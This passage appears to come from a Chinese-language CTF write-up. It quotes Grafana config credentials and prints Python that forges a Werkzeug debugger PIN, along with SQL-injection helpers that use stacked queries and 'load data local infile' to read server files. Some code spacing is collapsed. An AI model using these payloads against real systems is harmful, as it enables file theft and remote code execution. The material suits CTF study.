[security] # disable creation of admin user on first start of grafana ;disable_initial_admin_creation = false
# default admin user, created on startup admin_user = admin
# default admin password, can be changed before first start of grafana, or in profile settings admin_password = 5f989714e132c9b04d4807dafeb10ade
# used for signing ;secret_key = SW2YcwTIb9zpOOhoPsMm
在ini文件中还可以找到使用的数据库为mysql,用户名密码都为grafana
1 2 3 4 5 6 7
# Either "mysql", "postgres" or "sqlite3", it's your choice ;type = mysql ;host = mysql:3306 ;name = grafana ;user = grafana # If the password contains # or ; you have to wrap it with triple quotes. Ex """#password;""" ;password = grafana
h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): ifnot bit: continue ifisinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None if num isNone: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None if rv isNone: for group_size in5, 4, 3: iflen(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x inrange(0, len(num), group_size)) break else: rv = num
print(rv)
而且可以发现在/view?note_id=xxx中存在sql注入,而且可以堆叠注入,于是考虑用load data local infile来读取本地文件的信息存储在表中,再用union select 从表中读取数据
defshow_tables(): payload="0' union select 1,2,3,group_concat(table_name),5 from information_schema.tables where table_schema='ctf'#" data = {'note_id': payload} try: txt = s.get(url+'view', params=data).text txt = txt.split('<p style="text-align: center">')[1].split('</p>')[0].strip() print(txt) except Exception as e: print(e)
defload_data(filename,tablename): payload=f"';create table if not exists {tablename}(data text);" \ f"load data local infile '{filename}' into table {tablename};#" data = {'note_id': payload} s.get(url + 'view', params=data)
defread_table(tablename): payload = f"0' union select 1,2,3,group_concat(data,'\n'),5 from {tablename}#" data = {'note_id': payload} try: txt = s.get(url + 'view', params=data).text txt = txt.split('<p style="text-align: center">')[1].split('</p>')[0].strip() print(txt) except Exception as e: print(e)